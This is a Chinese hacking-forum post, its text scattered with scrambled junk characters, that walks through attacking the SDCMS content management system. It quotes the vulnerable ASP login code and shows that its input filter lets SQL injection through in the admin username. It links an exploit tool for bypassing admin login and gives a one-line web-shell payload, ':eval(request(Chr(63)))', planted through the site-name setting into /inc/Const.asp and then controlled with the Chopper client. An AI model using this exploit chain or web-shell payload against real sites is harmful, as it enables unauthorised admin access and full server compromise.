作者:T00LS 鬼哥: j7 N6 \1 G0 [8 f Z
漏洞文件:后台目录/index.asp
+ L3 m+ K; m$ ?; Q
8 a, I" j0 [5 a9 C5 J% x MSub Check( r# v4 K: q% b! o) x) Z( O: Q6 V
Dim username,password,code,getcode,Rs
8 J- }2 h+ d0 u1 C q IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub6 b. u9 [- A; J* n
username=FilterText(Trim(Request.Form("username")),1)4 ]3 ]1 A4 Q" c V4 z
password=FilterText(Trim(Request.Form("password")),1)
% ]) o; m N7 D& G3 ?; s code=Trim(Request.Form("yzm"))
- C, V3 s: y; T8 T! u9 P8 h( I getcode=Session("SDCMSCode")
% i D* X! k7 d" v# V IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
4 f4 o* n6 ?$ w7 N0 d* S IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied) L, i# b$ h3 ?" t b+ {" {* ?
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
. f$ h* O6 R' _, q6 r [. ` IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied+ |0 `& w! W0 R$ w% B+ N9 S
IF username="" or password="" Then# K4 J& Q% X' r/ x
Echo "用户名或密码不能为空" ied
+ |. M4 x0 M! i5 j! E Else
5 l; P5 f5 s. H4 L5 Q- \( Z' W8 N Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'") J" ~+ i* M8 e0 t8 I8 V8 {
IF Rs.Eof Then
( Z4 y9 k& x1 i2 i/ Z3 _( C+ ~9 X& C AddLog username,GetIp,"登录失败",1! B- x: R/ N0 P5 `! ~- K0 j
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
( l, d0 [9 X+ {- W Else
" y0 V- K1 I/ { n# a' ~ Add_Cookies "sdcms_id",Rs(0)
( C# \& E z. w Add_Cookies "sdcms_name",username2 g: \# I- b3 D. i& m7 w% F) I) U+ U
Add_Cookies "sdcms_pwd",Rs(2)$ R3 v$ Q, E7 @7 i
Add_Cookies "sdcms_admin",Rs(3)
1 s4 C0 X; N; p& i( v+ d Add_Cookies "sdcms_alllever",Rs(4)
1 J( ^: b) ?) E) s& @1 U Add_Cookies "sdcms_infolever",Rs(5)
. M/ e1 O$ u. E$ s/ m: A+ ^& X Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
$ q( F- C9 e) k; J& o9 {% J5 l AddLog username,GetIp,"登录成功",1
J$ m5 O ^2 X9 v5 a '自动删除30天前的Log记录- e( v7 [. F7 m3 {! t: q
IF Sdcms_DataType Then
! P, ]# v9 }) [* C# _ o! Z" { Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
/ C2 m) I l' f/ ?1 k e Else1 E9 p6 f# F8 |. [1 Q
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
7 {, n# s7 S: |) B3 U; G* l End IF
( F% L. O( g2 u! M" J4 u Go("sdcms_index.asp")
- }6 L6 G, F( O! Z; w$ R End IF9 S- _' G) z. A* U" @' i/ Q0 [
Rs.Close' ^7 y& @" c- Z) Y! U
Set Rs=Nothing7 T3 p ~: K8 Y C
End IF
# B, M' I9 B: U& q; u$ i- P' OEnd Sub3 B/ [! ~/ W' \( a' D3 m0 |
8 U) L! \: v' e$ F: n* P’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
; ]5 W3 _* d. v0 {; R, P- d( q
0 @5 p. U) M: ?Function FilterText(ByVal t0,ByVal t1): X5 `) I$ a; J2 X9 f1 T
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
M8 c) o9 w9 |5 A) x7 s t0=Trim(t0)1 q7 j& @" v$ F6 H
Select Case t19 G' X3 V# _" u5 P- s
Case "1"" H% Q/ X" O5 k$ ~# ^, p$ s1 u
t0=Replace(t0,Chr(32),"")2 g& U- E! A" N
t0=Replace(t0,Chr(13),"")1 Z6 ^3 A2 `9 G$ Z2 G
t0=Replace(t0,Chr(10)&Chr(10),"")
0 k( E/ T/ E6 {7 |# m1 l D% n. ^3 ]& L t0=Replace(t0,Chr(10),"")8 z0 d4 L. K A o, E; {/ {: u: W' e
Case "2"
" o5 k) J+ R ?: A" D$ W" ^/ y. ^ t0=Replace(t0,Chr(8),"")'回格; I4 e1 z2 y+ m" E
t0=Replace(t0,Chr(9),"")'tab(水平制表符). y$ L6 g* D+ J. U }( F1 s
t0=Replace(t0,Chr(10),"")'换行
8 B, @% P2 O3 {1 {6 o, d t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
3 i& u) |, x! U0 b# \4 D6 \ t0=Replace(t0,Chr(12),"")'换页7 }( ]/ l7 o/ G% {' |
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
1 Q* K9 `9 Z2 R. L3 Q% Y t0=Replace(t0,Chr(22),"")# l3 O2 S# \; P1 B2 A
t0=Replace(t0,Chr(32),"")'空格 SPACE
" U7 F- J9 j3 ^3 ^ t0=Replace(t0,Chr(33),"")'!2 ^& F! a# q' p$ p" U4 U
t0=Replace(t0,Chr(34),"")'"$ q( E( m1 Q# F& k) c
t0=Replace(t0,Chr(35),"")'#2 j9 B x3 [3 e
t0=Replace(t0,Chr(36),"")'$
$ V2 S3 Q$ w M* _; U t0=Replace(t0,Chr(37),"")'% d l% S$ H) O; c9 j, }( |
t0=Replace(t0,Chr(38),"")'&
4 K' o( ~/ A* N Y3 z$ o/ Q t0=Replace(t0,Chr(39),"")''6 z% ], I/ L- L$ O0 m
t0=Replace(t0,Chr(40),"")'(! g% w) P7 c# }) N) U+ k
t0=Replace(t0,Chr(41),"")')
/ I! X* g! R& j7 X! q; F t0=Replace(t0,Chr(42),"")'*
f' D0 `; d* y5 ~) @4 @: R t0=Replace(t0,Chr(43),"")'+
7 ?. k% d1 ~$ b0 y6 w3 @, G t0=Replace(t0,Chr(44),"")',
! t [8 ` p& z: d; [! J t0=Replace(t0,Chr(45),"")'-
1 z( A* c! ~- E. @ t0=Replace(t0,Chr(46),"")'., k U) A% G( _5 O
t0=Replace(t0,Chr(47),"")'/( O% v: N" x2 q, B: E! f& s
t0=Replace(t0,Chr(58),"")':6 a2 X) Z1 L; p$ y
t0=Replace(t0,Chr(59),"")';
) o' }( Y% _ ` t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
$ `! Z8 ]1 E- E" m) ~3 b8 O t0=Replace(t0,Chr(63),"")'?4 F2 h. k2 I' b I7 ?* |
t0=Replace(t0,Chr(64),"")'@
. b% M$ K! w; q* U3 A& H, R; L6 Q t0=Replace(t0,Chr(91),"")'\
+ k. m6 [/ A* T" l3 B- f6 l0 A t0=Replace(t0,Chr(92),"")'\# ]* Q" q. J. M# \
t0=Replace(t0,Chr(93),"")'] d/ h1 U# c5 R9 ]& i
t0=Replace(t0,Chr(94),"")'^& {% i/ W% M4 ?$ ^9 `
t0=Replace(t0,Chr(95),"")'_4 D6 I6 }- D# K
t0=Replace(t0,Chr(96),"")'`
; Z4 k6 J- V" l' {. z5 r0 a t0=Replace(t0,Chr(123),"")'{
; |$ r; R* R+ S' j5 p t0=Replace(t0,Chr(124),"")'|
% g/ M x' ~. ~* Z g# X5 N7 | t0=Replace(t0,Chr(125),"")'}$ @6 O6 }; b0 v* a8 E3 G
t0=Replace(t0,Chr(126),"")'~
6 t7 \& |/ Q( c( h Case Else! h% M% [# K0 ` n1 t
t0=Replace(t0, "&", "&")% N! H. t" T+ ]( c: Z2 u, ~% n
t0=Replace(t0, "'", "'")4 x. S& y1 C% i3 d+ ~- n8 |. A: f
t0=Replace(t0, """", """)& f& Z& [+ P; m' X7 t) F) [, j3 \
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
/ U" l' N* [0 c* q: ?5 | End Select
0 }! S- ^$ Z' f5 ^: W IF Instr(Lcase(t0),"expression")>0 Then# g0 Q, a' F# G( ]$ u
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
: H! D) ]# y8 K0 G End If: r" q3 G+ s# e! V- W: r
FilterText=t0( z! C/ O* ^! m, _ e0 M* H
End Function* a# _# p3 R/ _8 B% C
I, V! B, I! b9 a) H
看到没。直接参数是1 只过滤
9 i; e9 U3 ?+ n( J2 I" ]* R t0=Replace(t0,Chr(32)," ")- I' }" _0 o; o- b' ~! V C
t0=Replace(t0,Chr(13),"")( Z# F: C. f6 S6 S1 T
t0=Replace(t0,Chr(10)&Chr(10),"
5 p. b4 r9 D( [" n! Q+ i% Z")1 d& c/ D; G' z6 ^
t0=Replace(t0,Chr(10)," Y4 G" Y4 S: p4 j
")
) d- Y$ Y( L, U% O% t& |漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!* n/ \. m% d1 }/ t0 _# l
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
. H; T' p$ k5 \/ F7 A6 r& G/ I* Z r9 Q1 L2 Z0 L* d% ?* {
测试:2 x+ D# A; s) _1 l
* w5 Y& l6 N( ^' [
/ q q2 c; G% |0 o! ~现在输入工具上验证码,然后点OK
" \' w, j7 X4 X G% H' V w
: u( D5 s3 n# s' i: l2 F1 n# x4 A+ k, ^3 H9 G1 U
看到我们直接进入后台管理界面了,呵呵!
3 T+ W" Z# e B5 N8 U) {* p! g6 V1 E1 L- |( h e/ }/ e" e
- q$ C7 M$ R4 M2 M+ i W* p2 `0 c5 J5 l$ G! Q* L3 Y
这样直接进入后台了。。。。
- ~2 L! t* u( r0 d" P% n) C" ?# L% c! x) ~+ Q: A+ n
# g; d; I0 \/ n
5 ~+ G8 r6 W* V+ {2 Y6 \+ TSDCMS提权:' P' E: m9 l6 B2 O
) F# K! \+ a0 a
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?" o' J3 H `$ i X) e$ ?$ H
& u. X( |" d2 E& s
& V/ P0 Q1 B _5 h% ?" e) W( s% T) B
, y: w' ~7 x+ c; `OK,现在用菜刀连接下!
& [# U- U8 T7 V% r4 `7 {3 h% k5 ~9 Y: `2 {. Q! L# y
* t0 U+ Q+ J1 L
) |3 f3 H) p( p
8 [( h0 Q/ x5 a+ ~
( b% h, {. i! q- j |